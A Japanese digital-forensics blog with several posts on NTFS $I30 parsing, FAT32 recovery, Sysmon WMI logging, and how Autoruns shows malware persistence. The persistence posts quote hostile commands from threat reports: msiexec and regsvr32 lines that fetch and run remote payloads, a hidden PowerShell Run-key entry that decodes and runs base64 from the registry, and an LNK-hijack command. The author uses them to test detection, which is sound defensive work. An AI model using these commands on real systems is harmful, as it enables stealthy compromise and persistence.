@port139 Blog

基本的にはデジタル・フォレンジックの技術について取り扱っていますが、記載内容には高確率で誤りが含まれる可能性があります。

$INDEX_ROOT と $I30

 $I30のバイナリ構造を確認します。

f:id:hideakii:20170918074121p:plain

Autopsyで Pirctures フォルダの File Metadata を確認します。「$INDEX_ROOT (144-1)   Name: $I30」が Resident として存在している事を確認できます。

From The Sleuth Kit istat Tool:

MFT Entry Header Values: Entry: 39        Sequence: 1

$LogFile Sequence Number: 1078084

Allocated Directory Links: 1

$STANDARD_INFORMATION Attribute Values: Flags:

Owner ID: 0Security ID: 264  (S-1-5-21-1901480256-120802936-2790681297-1000)

Created: 2017-09-17 22:39:03.019912200 (UTC)

File Modified: 2017-09-17 22:39:39.366135400 (UTC)

MFT Modified: 2017-09-17 22:39:39.366135400 (UTC)

Accessed: 2017-09-17 22:39:39.366135400 (UTC)

$FILE_NAME Attribute Values: Flags:Directory

Name: picturesParent MFT Entry: 5

Sequence: 5

Allocated Size: 0

Actual Size: 0

Created: 2017-09-17 22:39:03.019912200 (UTC)

File Modified: 2017-09-17 22:39:03.019912200 (UTC)

MFT Modified: 2017-09-17 22:39:03.019912200 (UTC)

Accessed: 2017-09-17 22:39:03.019912200 (UTC)
Attributes:

Type: $STANDARD_INFORMATION (16-0)   Name: N/A   Resident   size: 72

Type: $FILE_NAME (48-2)   Name: N/A   Resident   size: 82Type: $INDEX_ROOT (144-1)   Name: $I30   Resident   size: 160

Autopsy の HEX タブで$INDEX_ROOTの$I30データ内容を確認します。

f:id:hideakii:20170918074348p:plain

0x00000000: 30 00 00 00 01 00 00 00 00 10 00 00 01 00 00 00 0...............
0x00000010: 10 00 00 00 90 00 00 00 90 00 00 00 00 00 00 00 ................
0x00000020: 28 00 00 00 00 00 01 00 70 00 60 00 00 00 00 00 (.......p.`.....
0x00000030: 27 00 00 00 00 00 01 00 AA 65 C5 D8 05 30 D3 01 '........e...0..
0x00000040: E1 EE 02 B9 05 30 D3 01 E1 EE 02 B9 05 30 D3 01 .....0.......0..
0x00000050: AA 65 C5 D8 05 30 D3 01 00 90 46 00 00 00 00 00 .e...0....F.....
0x00000060: 00 90 46 00 00 00 00 00 20 00 00 00 00 00 00 00 ..F..... .......
0x00000070: 0F 00 70 00 72 00 61 00 69 00 72 00 69 00 65 00 ..p.r.a.i.r.i.e.
0x00000080: 20 00 64 00 6F 00 67 00 2E 00 6A 00 70 00 67 00 .d.o.g...j.p.g.
0x00000090: 00 00 00 00 00 00 00 00 10 00 00 00 02 00 00 00 ................

 NTFS Documentation のページ25「10. Attribute - $INDEX_ROOT (0x90)」を参考にパースしてみます。

10.2.1. Index Root

30 00 00 00 01 00 00 00 00 10 00 00 01 00 00 00

30 00 00 00 Attribute Type

01 00 00 00 Collation Rule ⇒ Filename

00 10 00 00 Size of Index Allocation Entry (bytes)  0x1000 ⇒4,096

01 Clusters per Index Record

00 00 00 Padding

10.2.2. Index Header

 10 00 00 00 90 00 00 00 90 00 00 00 00 00 00 00

10 00 00 00 Offset to first Index Entry 0x10⇒16

90 00 00 00 Total size of the Index Entries 0x90⇒144

90 00 00 00 Allocated size of the Index Entries 0x90⇒144

00 Flags⇒Small Index (fits in Index Root)

00 00 00 Padding 

f:id:hideakii:20170918081744p:plain

11.2.1. Index Entry

28 00 00 00 00 00 01 00 70 00 60 00 00 00 00 00

28 00 00 00 00 00 01 00 File reference 0x28 ⇒ 40 Seq 1 prairie dog.jpg

70 00 L = Length of the index entry 0x70 ⇒ 112

60 00 M = Length of the stream 0x60 ⇒ 96

00 Flags 

00 00 00

f:id:hideakii:20170918082815p:plain

f:id:hideakii:20170918082901p:plain

4. Attribute - $FILE_NAME (0x30)

27 00 00 00 00 00 01 00 AA 65 C5 D8 05 30 D3 01
E1 EE 02 B9 05 30 D3 01 E1 EE 02 B9 05 30 D3 01
AA 65 C5 D8 05 30 D3 01 00 90 46 00 00 00 00 00
00 90 46 00 00 00 00 00 20 00 00 00 00 00 00 00
0F 00 70 00 72 00 61 00 69 00 72 00 69 00 65 00
20 00 64 00 6F 00 67 00 2E 00 6A 00 70 00 67 00

27 00 00 00 00 00 01 00 File reference to the parent directory. ⇒ 39 Seq 1

AA 65 C5 D8 05 30 D3 01 C Time - File Creation

E1 EE 02 B9 05 30 D3 01 A Time - File Altered (Modification)

E1 EE 02 B9 05 30 D3 01 M Time - MFT Changed

AA 65 C5 D8 05 30 D3 01 R Time - File Read (Access)

00 90 46 00 00 00 00 00 Allocated size of the file 0x469000⇒4,624,384

00 90 46 00 00 00 00 00 Real size of the file 0x469000⇒4,624,384

20 00 00 00 Flags, e.g. Directory, compressed, hidden

00 00 00 00 Used by EAs and Reparse

0F Filename length in characters (L)

00 Filename namespace 0x42 2L File name in Unicode (not null terminated)

70 00 72 00 61 00 69 00 72 00 69 00 65 00 p.r.a.i.r.i.e.

20 00 64 00 6F 00 67 00 2E 00 6A 00 70 00 67 00 .d.o.g...j.p.g.

11.2.1. Index Entry

00 00 00 00 00 00 00 00 10 00 00 00 02 00 00 00

00 00 00 00 00 00 00 00 File reference

10 00 L = Length of the index entry 0x10 ⇒ 16

00 00 M = Length of the stream 0x00 ⇒ 00

02 Flags ⇒ Last index entry in the node

00 00 00

 

f:id:hideakii:20170918141136j:plain

 

WMIとsysmon v6.10

Sysmon v6.10 が 9/11 にリリースされ、WMI Filterとconsumersがモニタリング出来るようになったようです。 3つのイベントIDが追加されています、登録を検出するようですね。

Sysmon - Windows Sysinternals | Microsoft Docs より引用

Event ID 19: WmiEvent (WmiEventFilter activity detected)
When a WMI event filter is registered, which is a method used by malware to execute, this event logs the WMI namespace, filter name and filter expression.
Event ID 20: WmiEvent (WmiEventConsumer activity detected)
This event logs the registration of WMI consumers, recording the consumer name, log, and destination.
Event ID 21: WmiEvent (WmiEventConsumerToFilter activity detected)
When a consumer binds to a filter, this event logs the consumer name and filter path.

 Windows 10環境にsysmon 6.10をインストールし、WMI モニタリングを確認してみます。Sysmon にはテスト用として下記設定を行います。

<Sysmon schemaversion="3.40">
<!-- Capture all hashes -->
<HashAlgorithms>md5</HashAlgorithms>
<EventFiltering>
<WmiEvent onmatch="exclude" />
</EventFiltering>
</Sysmon>

f:id:hideakii:20170917081147p:plain

WMIの登録には、下記ページで紹介されているWMIGhost のスクリプト wmi_raw_formated.js を利用します。

secrary.com

スクリプトファイル wmi_raw_formated.js を実行後、Autorus ツールで WMI に自動起動が登録されている事を確認します。

f:id:hideakii:20170917081608p:plain

イベントログにWmiEventConsumerの登録が記録されています。

f:id:hideakii:20170917081916p:plain

 

f:id:hideakii:20170917090843p:plain

その他

EventID 19

f:id:hideakii:20170917085138p:plain

 Get-WMIObject -Namespace root\Subscription -Class __EventFilter

f:id:hideakii:20170917111746p:plain

Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

f:id:hideakii:20170917111908p:plain

Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

f:id:hideakii:20170917112129p:plain

 PyWMIPersistenceFinder.py

f:id:hideakii:20170917185742p:plain

CCM_RUA_Finder.py

f:id:hideakii:20170917185938p:plain

参考URL: 

Visual Basic Script implementing WMI Persistence method (as implemented in SEADADDY malware and further documented by Matt Graeber) to make the Macro code schedule malware startup after roughly 3 minutes since system gets up. · GitHub

 

learn-powershell.net

  

www.exploit-monday.com

 

www.bleepingcomputer.com

 

www.hybrid-analysis.com

 

blog.zemana.com

WMI Event Subscription Persistence

https://www.rapid7.com/db/modules/exploit/windows/local/wmi_persistence

 

github.com

 

f:id:hideakii:20170917085708j:plain

NTFS $I30 と Deleted record

NTFS $I30 内に、削除レコードを作成してみます。

サンプル用にフォルダPicturesを作成します。

f:id:hideakii:20170916084249p:plain

次に、削除レコードとして残したいファイルをPicutresフォルダへコピーします。
ファイル名は、名前でソートした場合、最後に表示される名前にしておきます。

f:id:hideakii:20170916083420p:plain

今回は、$I30の削除レコードとしてShoebill.jpgを作成します。

f:id:hideakii:20170916083804p:plain

Shoebill.jpg を Pictures フォルダへコピーします。

f:id:hideakii:20170916084348p:plain

他のファイルをPicutresフォルダへコピーします。

f:id:hideakii:20170916084453p:plain

fte ツールを利用し、$I30の内容を確認します。

Shoebill.jpgのMFTレコード番号は36です。

f:id:hideakii:20170916084649p:plain

AutopsyでPicturesフォルダのメタ情報を確認します。INDEX_ALLOCATION $I30はクラスタ番号35に存在しています。

f:id:hideakii:20170916085425p:plain

 クラスタ番号35を参照します。Shoebill.jpgの$FNデータが最後に存在しています。

f:id:hideakii:20170916090455p:plain

 Shoebill.jpgファイルを削除します。

f:id:hideakii:20170916090745p:plain

AutopsyでPicturesフォルダを確認します。MFTレコード番号36の情報から、JPEG画像を表示できます。

f:id:hideakii:20170916091038p:plain

 新規にファイルを作成し、MFTレコード36を上書きします。

f:id:hideakii:20170916091327p:plain

AutopsyでPicturesフォルダを確認します。$I30のエントリだけが表示されています。

f:id:hideakii:20170916091444p:plain

 fteツールで$I30を確認します。

f:id:hideakii:20170916092107p:plain

 

f:id:hideakii:20170916092319p:plain

Autopsyでクラスタ番号35を参照します。Shoebill.jpgの$FNデータが存在しています。

f:id:hideakii:20170916130026p:plain

Flag項目は 0x02 『Last index entry in the node』となっています。

0x00023880: 00 00 00 00 00 00 00 00 10 00 00 00 02 00 00 00 ................

先頭8バイトの「File reference」は上書きされています。この為、MFTレコード番号は確認できな状況です。

 

意図的に$I30にファイル名痕跡だけを残したい場合には、上記手順で作成できます。

 

f:id:hideakii:20170916092613j:plain

 

C2とWeb Storage

 「New Pacifier APT Components Point to Russian-Linked Turla Group」のレポート内には、Webブラウザのキャッシュを利用するマルウェアの話題が記載されています。 

https://media.scmagazine.com/documents/314/bitdefender-whitepaper-pacifie_78483.pdf

2. Using Browser Cache to Evade Securityより引用

The website the Trojan connects to is perfectly legitimate, but it also contains a JavaScript (placed by the attacker) that uses a legitimate
method of writing in the browser’s local cache. Consequently, the JavaScript will write instructions from the C&C into the local browser
cache of Internet Explorer. Since the script is not malicious per se, this is the novelty of the Trojan that reveals a radically new attack avenue.
On the victim’s side, the backdoor simply checks if something new has been written in the browser’s cache, looking for instructions. The
Trojan doesn’t constantly scan the cache for new instructions, it only does so at various time intervals to avoid triggering security warnings.

マルウェアがC2と通信する手口として、Web Storageを利用する手口が解説されています。
マルウェアはブラウザのスタートアップの設定を変更し、ブラウザが起動するとスタートアップに登録されているサイトへアクセスします。

マルウェアは直接C2と通信するのではなく、Web ブラウザがC2と通信し、Web storageにコマンドが格納されます。
マルウェアはWebブラウザが保存したWeb storageの内容を読み込むことでコマンドを実行するという流れのようです。

Web Storage データの保存場所

Web Storage の仕組みについては、下記URLが参考になります 

https://www.w3.org/TR/2011/WD-webstorage-20110208/ 

W3C - 『Web Storage』日本語訳 - HTML5.JP

Windows 7 上 の IE 11 でテストしてみます。Web Storage のデータは下記フォルダ配下にXML形式のファイルとして保存されます。 

%userprofile%\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore
%userprofile%\AppData\Local\Microsoft\Internet Explorer\DOMStore

レジストリにもパスが登録されているようです。

f:id:hideakii:20170910191509p:plain

テストデータの作成

 Web Storage をテスト出来るサイトは色々とありますが、今回は下記サイトを使わせていただきます。 

demo.agektmr.com

 localStorageに確認用のデータを書き込みます。

f:id:hideakii:20170910124144p:plain

f:id:hideakii:20170910124236p:plain

f:id:hideakii:20170910124328p:plain

 エクスプローラで XML ファイルを参照。

f:id:hideakii:20170910130237p:plain

  ESEDatabaseView を利用すれば、DOMStore の URL と Filename を確認できます。

f:id:hideakii:20170910191755p:plain

f:id:hideakii:20170910131348p:plain

マイクロソフトが公開しているサンプルアプリケーション。電卓に入力した値が Web Storage 内に保存されています。 

Offline Calculator

f:id:hideakii:20170910170627p:plain

f:id:hideakii:20170910170639p:plain

 マルウェアが Web Storage を利用している場合、どの様に調査すればそれを発見する事が出来るでしょうか?

 参考URL:

モダンブラウザのストレージ容量まとめ
https://www.html5rocks.com/ja/tutorials/offline/quota-research/

  qiita.com

 

f:id:hideakii:20170910130855j:plain

 

Rehashed RATとDLL Hijacking

Fortinet から DLL ハイジャックを利用する Rehashed RAT に関するレポートが出ています。 

blog.fortinet.com

自動起動として Run キーを利用します。Runキーに登録されるファイルには、幾つかパターンがあるようです。
Run キー内に Systemm.exe(50fcc5c822a6b4fc6f377ee9f9f37c7b) を登録し Autoruns で確認。

f:id:hideakii:20170909214438p:plain

Google のコード署名がある正規のファイル。Image Path は一般的でない為、不審なファイルとして確認できる。

マルウェアは、EXE から読み込まれる Goopdate.dll となっており、Autoruns 上からは確認できない。
Systemm.exe が実行されると、同一フォルダ内に存在する Goopdate.dll ファイルがロードされる仕組みになっている。

f:id:hideakii:20170909223845p:plain

Goopdate.dll を DLL Export Viewer で確認した結果。

f:id:hideakii:20170909225042p:plain

 

www.reverse.it

www.reverse.it

 

f:id:hideakii:20170909210415j:plain

KHRAT Malware と Fa??

8/31 に paloalto Unit 42 から下記レポートが出ています。

researchcenter.paloaltonetworks.com

自動起動の手口として、タスクスケジューラが利用されています。

オリジナルではタスクの登録名前が、「"f*** you" 」とかなり目立つ名前になっています。

タスクの登録名としてこの文字列が存在すれば、すぐに気が付きますよね?

ここでは「fa」としておきます。

 コマンドプロンプトから検証用にタスクを登録します。

f:id:hideakii:20170909151306p:plain

 Autorunsで確認します。

f:id:hideakii:20170909151438p:plain

 File not found:となりますが、Javascript の文字列も確認できる為、不審なエントリである事には気が付けるのではないでしょうか。

 

www.hybrid-analysis.com

f:id:hideakii:20170909150937j:plain

 

Poison Ivy と MSIEXEC

8/23 に Fortinet から Poison Ivy に関する下記レポートが出ています。 

blog.fortinet.com

自動起動の仕組みとしては、スタートアップに VBS ファイルを登録する方式になっています。登録された VBS ファイルはピンクハイライトになる為、Autoruns であれば簡単に見分ける事ができます。

f:id:hideakii:20170909081023p:plain

 VBS ファイルの内容は、上記記事の「Figure 4. Thumb.vbs in the Startup folder and its content」スクリーンショットで内容を確認できます。興味深い点としては、下記のように msiexec のパラメータとして URL が記述されている点です。(IPアドレス部分は変更しています)

"cmd.exe /c msiexec /q /i http://192.168.0.1/images/Thumbs.bmp"

例えば、このコマンドが Run キーに登録されている場合にはどうなるのでしょうか?

Run キーに検証する値を登録します。

f:id:hideakii:20170909081712p:plain

Autorunsで確認してみます。

f:id:hideakii:20170909081848p:plain

項目を選択し、引数を確認すれば URL が指定されている事を確認できます。

更に実験として Example2 を Run キーに登録してみます。(この様な登録方法が実際に動作するかは確認していません)

f:id:hideakii:20170909082740p:plain

Autorunsで確認してみます。

f:id:hideakii:20170909082919p:plain

結果としては黄色ハイライトになるようですね。

 

 

www.reverse.it

  

f:id:hideakii:20170909123928j:plain

ANDROM と自動起動(Regsvr32)

トレンドマイクロ社からのレポートが更新され、ファイルレス型の攻撃において、USB メモリ経由である事がアップデートとして報告されている。

blog.trendmicro.com

上記レポートでは、幾つかのマルウェアが登場しているが、自動起動について確認。

TROJ_ANDROM.SVN - Threat Encyclopedia - Trend Micro USA より引用

In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

  • COM+ = regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/restore.xml scrobj.dll

 自動起動の仕組みとして、Run キーに regsvr32 を登録する流れになっているので、テスト用のエントリを作成。

f:id:hideakii:20170903151121p:plain

Autorunsで確認、Image Path の登録としては scrobj.dll が表示される。引数の URL はエントリをクリックすれば確認できる。

f:id:hideakii:20170903151402p:plain

 

 関連して登場する別のマルウェアの自動起動についても確認。

BKDR_ANDROM.ETIN - Threat Encyclopedia - Trend Micro USA より引用

Autostart Technique

This Backdoor adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
{UID} = "%System%\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\{random character}').{random character})));"

 

 上記説明によれば、Run キーに PowerShell を登録している。かなり雑だがレジストリにテスト用の値を登録。

f:id:hideakii:20170903154129p:plain

Autorunsで結果を確認。File not found として登録を確認できる。

f:id:hideakii:20170903154217p:plain

上記は、検体を動かして確認した結果ではないので、実際の検体においてどのような結果が得られるかは未確認。

 

Turla の自動起動手口

下記レポート『New Pacifier APT Components Point to Russian-Linked Turla Group』では、マルウェアを起動する為の自動起動の手口として 6 種類が報告されている。

幾つかは Windows XP を対象とした古い手法のようだが、自動起動を確認するツールとして、Autoruns がどのように反応するか、いくつかサンプルを作成し確認してみる。

https://media.scmagazine.com/documents/314/bitdefender-whitepaper-pacifie_78483.pdf

ShellAutorun: adds the malware’s path to the “HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell” key in the registry, so that the malware is executed at logon. It takes care to add “explorer.exe” as well, if the key did not exist prior to infection.
HiddenTaskAutorun: creates a hidden scheduled task that triggers at logon, using the ITaskScheduler COM interface. This method is only
used on Windows XP.
ScreenSaverAutorun: replaces the current screensaver from the registry with the malware
StartupAutorun: copies the malware to the startup folder
TaskScheduler20Autorun: creates a scheduled task that triggers at logon using the ITaskService COM interface. This method is only used
on Windows Vista, 7 or 8.
LinkAutorun: infects .lnk files by changing their target application to: “cmd.exe /q /c start “OriginalPathOfLnk” && start “MalwarePath””

 

This analyzed sample uses the ShellAutorun feature with path “%HOMEPATH%\ntuser.dat.LOG3”, and the TaskScheduler20Autorun
configured to disguise itself as an Adobe Updater task with path: “%homepath%\AppData\Local\Adobe\AdobeUpdater.exe”, name: “User
registry integrity check task”, and description “This task was automatically generated by Microsoft Windows. To remove contact your
system administrator”.

ShellAutorun

自動起動の方法としてレジストリキー 「HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon」を利用する方法、ESET から出ているレポートでは登録方法として下記の記述を確認できる。

https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf

0: ShellAutorun
Persistence is achieved through the Windows registry by setting the value “Shell” with “explorer.exe, %malware_pathfile%” under the following key:
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon

Shell 値としてカンマで区切って登録している部分を、Autoruns がどのように扱うか?という部分があるので、メモ帳を登録し Autoruns の実行結果を確認。

カンマで区切られた内容を 2行で表示しており、どちらも Image Path の対象として確認できている。

f:id:hideakii:20170902204948p:plain

ScreenSaverAutorun

既存のスクリーンセイバーのパスをマルウェアに変更するのであれば、Autorunsであれば Winlogon タブから値を確認できる。(下記は正規のスクリーンセイバー)

f:id:hideakii:20170902205832p:plain

StartupAutorun

マルウェア自体をスタートアップへ配置するのか、LNK ファイルを配置しマルウェアを参照させるのか特定できなかったが、これは普通にチェックが可能と思われる。

TaskScheduler20Autorun

上記引用部分にあるように、タスクとして \AppData\Local\Adobe\AdobeUpdater.exe のようなプログラムを登録する。

ESETのレポート「Gazing at Gazer Turla’s new second stage backdoor」では下記の記述となっている。

https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf

4: TaskSchedulerAutorun4: TaskSchedulerAutorunThis method is used to achieve persistence by creating a scheduled task.The task is created and set up through COM interfaces related to tasks (ITaskService, ITaskSettings, …).Some information such as the task name and its description is retrieved from the resource.For example, in one of the sample’s resources, the persistency mode is set to 04 (TaskSchedulerAutorun) with the persistency data: %APPDATA%\Adobe\adobeup.exe Adobe Acrobat Reader Updater. This task was generated by Adobe Systems, Inc to keep your Adobe Software up-to-data. \Adobe\AcrobatReader.AdobeIn this example, a scheduled task will be created and set up thus:• Task name: “Adobe Acrobat Reader Updater”• Executable: “%APPDATA%\Adobe\adobeup.exe”• The orchestrator will copy the loader received through the named pipe to this location• Task description: “This task was generated by Adobe Systems, Inc to keep your Adobe Software up-to-data”• Task folder: “\Adobe\AcrobatReader.Adobe”Last but not least, the task is configured to be started by the task scheduler at any time afterits scheduled time has passed. The task will be triggered when the current user logs on.

タスクに登録されているプログラムがコード署名されているかは確認できていない。

LinkAutorun

既存のLNKファイルを変更する仕組みになっている。

“cmd.exe /q /c start “OriginalPathOfLnk” && start “MalwarePath””

ターゲットフォルダがどのように決まるかは確認できなかったが、仮にスタートアップに存在する LNK ファイルが変更されている場合は注意が必要になる。自動起動に LNK が登録されていない場合は、LNK ファイル内が変更されている事を Autoruns で確認する事は出来ない。

下記は「cmd.exe /q /c start C:\Windows\notepad.exe && start C:\Windows\system32\Calc.exe」をテストとして登録した LNK ファイルを、スタートアップに配置した場合の Autoruns の結果。CMD.EXE が登録されている事は確認できる。

f:id:hideakii:20170902211911p:plain

コマンドライン版の実行結果でも、CMD.EXE は確認できるがその先のパラメータまでは取得できない。

11/20/2010 2:00 AM,"C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup","notepad - Shortcut.lnk",enabled,"Logon",IE11WIN7\IEUser,"Win
dows Command Processor","Microsoft Corporation","c:\windows\system32\cmd.exe",6.1.7601.17514,"C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad - Shortcut.lnk",AD7B9C14083B52BC532FBA5948342B98,EE8CBF12D87C4D388F09B4F69BED2E91682920B5,A942EA4413B0921C7A513B800A953A5325313F07,CFC5937B4DB3A1D5718FE144B621D50B0A337854AB3F5E2DF152B62627F6FD4A,17F746D82695FA9B35493B41859D39D786D32B23A9D2E00F4011DEC7A02402AE,CEEFB55F764020CC5C5F8F23349AB163 

Windows の監査設定において、イベントID 4688 の取得と、コマンドラインオプションを含めて取得している場合には、下記のようなログを確認できる。

f:id:hideakii:20170902213417p:plain

LNK ファイルから呼ばれていることも追跡できるのか?という辺りは十分確認できていない。

 

www.virustotal.com

 

FAT32 と犬

ディレクトリエントリの痕跡からファイル復元

VHDディスク上に FAT32 でボリュームを作成。ボリュームサイズは 100MB。

f:id:hideakii:20170901210239p:plain

JPEG画像ファイル(犬の画像)を FAT32 ボリューム上の Pictures フォルダに置きます。

f:id:hideakii:20170901210713p:plain

FAT32ボリュームを「クイック」フォーマット。

f:id:hideakii:20170901210814p:plain

エクスプローラから参照しても、犬は行方不明で確認できない。

f:id:hideakii:20170901211844p:plain

 

Autopsy 4.4.1 でボリュームを参照。(FATファイルシステムのオーファンファイルは探す設定)

f:id:hideakii:20170901211006p:plain

インジェストモジュールの実行は無し。

f:id:hideakii:20170901211054p:plain

無事に犬が発見される。

f:id:hideakii:20170901211226p:plain

FAT ボリュームに対する $OrphanFiles の仕組みですね。

上記では意図的にクイックフォーマットする事で Pictures フォルダのディレクトリエントリを未割り当て領域内に残しています。Autopsy は未割り当て領域から発見した Picture フォルダのディレクトリエントリからデータを復元し表示。

エントリだけかと思っていたら、Unalloc でも参照できる状態でいらっしゃいました。

f:id:hideakii:20170901212926p:plain

フォルダを作成しない場合

FAT32ボリューム上にフォルダを作成せず、ルート直下に画像を保存。

f:id:hideakii:20170902071455p:plain

クイックフォーマットを実施した後、Autopsy で参照。フォーマット処理によりルートのディレクトリエントリがクリアされるため、上記とは異なりディレクトリエントリからの復元は出来ない。

f:id:hideakii:20170902072105p:plain

画像データが保存されているクラスタが上書きされていなければ、未割り当て領域側にはデータが残っているので確認が可能。(ファイル名やタイムスタンプなど、ファイルシステムのメタ情報は確認できないが、画像データ内に EXIF 情報があればそれらの情報は確認が可能)

f:id:hideakii:20170902072221p:plain